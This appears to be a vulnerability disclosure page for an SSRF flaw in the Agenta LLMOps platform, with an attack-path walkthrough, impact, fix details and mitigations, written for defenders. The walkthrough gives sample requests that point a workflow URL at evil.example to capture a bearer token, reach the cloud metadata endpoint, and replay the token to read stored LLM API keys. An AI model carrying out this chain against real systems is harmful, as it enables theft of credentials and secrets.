hackwither_

research / disclosure · CVE-2026-123786

CVE-2026-123786

Workflow-revision SSRF in agenta (agenta-ai/agenta): open-source LLM-application / LLMOps platform.

High · CVSS 8.5 CWE-918 SSRF affected < 0.122.5 fixed 0.122.5

VendorAgenta AI
Productagenta (agenta-ai/agenta)
ClassServer-Side Request Forgery (SSRF) (CWE-918)
Affected< 0.122.5
Fixed in0.122.5
CVSS8.5 (v3.1) · 8.4 (v4.0) · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N
Published6 November 2026
RecordCVE.org · NVD · fix PR #7530

What this is

Agenta lets a workflow revision carry a service URL that the platform invokes when the workflow runs. Before 0.122.5 that tenant-supplied URL was trusted as if it were an internal platform service: the platform signed a secret-resolution bearer token, attached it to the outbound request, followed redirects, and applied no egress boundary. A workspace member who can edit a workflow could therefore point the revision URL at a host they control, capturing the secret-resolve token and replaying it against the vault API to read stored provider secrets (LLM API keys), or point it at an internal address such as the cloud metadata endpoint, turning the platform into an SSRF proxy.

Who can exploit it: An authenticated workspace member with workflow-edit rights (PR:L). No admin role and no victim interaction (UI:N) are required.

Responsible use. This page is an explanatory walkthrough of publicly documented, already-patched behaviour, for defenders and operators. It contains no working exploit, payload or proof-of-concept, and the simulation below makes no network requests; it only animates the path described in the advisory.

Attack-path simulation

1/5 Set a malicious revision URL

PUT workflow revision { url: https://evil.example }

With workflow-edit rights the attacker saves a workflow revision whose service URL points at a host they control (or an internal address). The platform stores it as a trusted service URL; there is no check that it belongs to the platform's own AGENTA_SERVICES_URL.

2/5 Platform signs and attaches a secret-resolve token

sign_secret_token(SECRET_RESOLVE_GRANT)

When the workflow is invoked, _prepare_invoke signs a bearer token carrying the SECRET_RESOLVE_GRANT and attaches it as the Authorization header of the outbound call. The grant was always added, regardless of whether the URL was actually a platform service.

3/5 Token leaks to the attacker's host

GET https://evil.example  Authorization: Bearer <secret-resolve>

The platform dials the attacker URL with the token attached, follow_redirects enabled, and no egress boundary. The attacker's server simply logs the inbound Authorization header; the secret-resolve bearer token is now in the attacker's hands.

4/5 Or: pivot to internal addresses

GET http://169.254.169.254/latest/meta-data/ (via URL or redirect)

Because no egress boundary is applied and redirects are followed, the same primitive reaches internal-only services. Pointing the URL (or an attacker 3xx redirect) at the cloud metadata endpoint or an internal host turns the platform into an SSRF proxy against its own network.

5/5 Replay the token to read provider secrets

GET /vault/secrets  Authorization: Bearer <captured>

The captured secret-resolve token is replayed against the platform's vault API, which resolves and returns stored provider secrets: the LLM provider API keys (OpenAI, Anthropic, etc.) configured for the workspace.

Impact

  • Theft of stored provider secrets (LLM API keys) from the vault via the captured secret-resolve token.
  • Server-side request forgery against internal services and the cloud metadata endpoint (169.254.169.254), exposing instance credentials and internal APIs.
  • Privilege gain: a limited workspace member with only workflow-edit rights reaches secrets and internal resources well beyond their intended scope.

The fix

Release 0.122.5 (PR #7530) stops treating tenant-supplied revision URLs as platform services. A URL now earns the secret-resolve grant and a direct dial only if it is verifiably the platform's own service; everything else goes through an egress boundary with no redirects and no credentials. (api/oss/src/core/workflows/service.py (v0.122.4, ~L785-805))

  • _is_platform_service_url: Validates a URL against the platform's own AGENTA_SERVICES_URL by scheme, host, effective port and path prefix, and rejects userinfo, dot-segments (./..) and encoded %2e / %2f so look-alike hosts cannot pass.
  • _service_grants: Returns SECRET_RESOLVE_GRANT only for verified platform URLs and None for every tenant-supplied URL, so the secret-resolve token is no longer attached to arbitrary destinations.
  • _open_service / open_egress: Non-platform URLs are dialled through open_egress, which enforces the egress boundary and pins the connection to the checked address; a refusal raises EgressRefusedError and the caller returns HTTP 400 "Workflow service URL was refused".
  • follow_redirects=False: All httpx client call sites disable redirect following and the cookie jar, so a credentialed request can no longer be bounced to an unchecked host.

Mitigations

  • Upgrade to Agenta 0.122.5 or later.
  • If upgrading is not immediate, restrict who holds workflow-edit rights in each workspace.
  • Review AGENTA_INSECURE_EGRESS_ALLOWED and AGENTA_MCP_GATEWAY_HOST_ALLOWLIST; after the fix these also govern custom workflow URLs, so keep the allowlist tight.
  • At the network layer, block egress from the workflow-invoke service to link-local (169.254.0.0/16) and internal ranges.

A note on scoring

VulnCheck (CNA) scores this 8.5 (CVSS 3.1) / 8.4 (CVSS 4.0, High); VulDB independently scores it 6.3 (Medium). This page leads with the CNA High score.

Disclosure

Coordinated disclosure. Published 6 November 2026, fixed in Agenta 0.122.5. Corrections: bandana@hackwither.co.in